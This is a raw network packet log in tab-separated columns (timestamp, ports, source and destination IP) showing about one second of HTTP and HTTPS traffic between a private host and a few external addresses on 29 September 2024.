Sep 29, 2024 00:53:24.316277027 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316282988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316348076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316348076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316375971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316381931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316392899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316397905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316402912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316414118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316421032 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316426039 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316438913 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316441059 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316447973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316461086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316462994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316488028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316488028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316488028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316509962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316517115 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316518068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316523075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316529036 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316534996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316545963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316551924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316562891 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316567898 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316569090 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316569090 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316574097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316589117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316595078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316626072 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316626072 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316638947 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.316648960 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316656113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316662073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316667080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316673040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316678047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316685915 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.316689014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.316694021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316699028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316704035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316704988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.316713095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316720009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316756964 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.316759109 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316772938 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316936016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316942930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316953897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316958904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316968918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316975117 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316981077 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316983938 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316986084 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316992044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.316993952 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.316997051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317069054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317069054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317069054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317111015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317117929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317127943 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317133904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317138910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317145109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317150116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317154884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317162991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317166090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317172050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317182064 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317183971 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317183971 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317188025 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317195892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317199945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317205906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317212105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317218065 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317220926 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317223072 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317229986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317231894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.317235947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.317245007 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.317270041 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.317296028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317302942 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317312956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317317963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317329884 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317329884 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.317336082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317347050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317356110 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317358017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317364931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317377090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317383051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317388058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317413092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317423105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317428112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317434072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317445040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317451000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317456007 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317461967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317466021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317467928 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317473888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317480087 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317486048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317486048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317486048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317486048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317486048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317516088 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317517042 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317562103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317581892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317586899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317596912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317603111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317608118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317611933 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317614079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317625046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317631006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317636013 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317641020 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317647934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317657948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317660093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317660093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317663908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317682028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317713976 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317889929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317900896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317907095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317912102 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317917109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317923069 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317929029 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317934990 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317945004 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317945957 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317950964 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317956924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317960978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317961931 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.317974091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317987919 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.317994118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318005085 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318006992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318006992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318010092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318016052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318022966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318032980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318037033 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318038940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318038940 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318044901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318049908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318057060 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318092108 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318114042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318167925 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318185091 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318191051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318202972 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318207979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318213940 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318218946 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318229914 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318233967 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318236113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318242073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318247080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318253040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318259001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318274975 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318274975 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318300009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318300009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318305969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318314075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318325996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318331957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318336964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318341970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318350077 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318356037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318361998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318367004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318367958 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318381071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318384886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318387032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318401098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318402052 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318424940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318448067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318453074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318461895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318468094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318473101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318478107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318481922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318484068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318490982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318496943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318497896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318504095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318509102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318521023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318526983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318526983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318546057 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318563938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318569899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318569899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318583012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318588018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318593025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318604946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318605900 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318609953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318617105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318629026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318634033 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318634033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.318650007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318670034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.318727016 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318732977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318743944 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318783045 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318881989 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.318903923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318909883 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318921089 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318926096 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318931103 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318942070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318948030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318953991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318959951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318964958 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318975925 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318977118 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318977118 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318984032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.318996906 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.318998098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319001913 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.319004059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319010019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319015026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319020987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319026947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319039106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319044113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319051981 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.319051981 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.319056988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319065094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319084883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319142103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319149017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319159985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319164991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319169998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319180965 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319186926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319192886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319199085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319199085 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319204092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319210052 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319211006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319216967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319225073 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319252968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319259882 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319262981 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319264889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319271088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319277048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319287062 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319288969 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319293976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319299936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319305897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319314957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319320917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319323063 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319333076 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319336891 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319339991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319345951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319399118 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319399118 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319484949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319490910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319503069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319510937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319515944 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319526911 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319534063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319536924 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.319540024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319547892 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.319551945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319556952 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.319556952 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319565058 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.319576979 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.319613934 CEST	49712	80	192.168.2.9	176.113.115.95
